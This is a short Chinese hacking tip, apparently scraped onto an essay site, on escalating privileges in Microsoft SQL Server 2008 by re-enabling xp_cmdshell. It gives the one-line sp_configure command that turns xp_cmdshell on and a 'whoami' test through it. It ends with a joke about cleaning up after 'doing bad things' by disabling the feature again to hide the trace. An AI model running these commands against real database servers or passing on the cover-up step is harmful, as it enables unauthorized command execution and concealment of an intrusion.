• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 友情文章 > 正文

    [MSSQL2008一句话启用xp_cmdshell] xpcmdshell提权

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    SQL Server 阻止了对组件 "xp_cmdshell" 的 过程 "sys.xp_cmdshell" 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 "xp_cmdshell"。有关启用 "xp_cmdshell" 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

    MSSQL2008一句话启用xp_cmdshell1

    MSSQL2008一句话启用xp_cmdshell2

    幸运的是:只要该扩展存储过程没被删除,我们就可以一句话启用它(不支持多句执行的话,请单独执行每句):

    EXEC sp_configure "show advanced options", 1;RECONFIGURE;EXEC sp_configure "xp_cmdshell", 1;RECONFIGURE;

    MSSQL2008一句话启用xp_cmdshell3

    好了,来试试!

    exec master..xp_cmdshell "whoami"

    MSSQL2008一句话启用xp_cmdshell4

    PS:干完坏事要擦PP哦!将开启语句的第二个1改成0再执行,xp_cmdshell就又处于禁用状态了

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全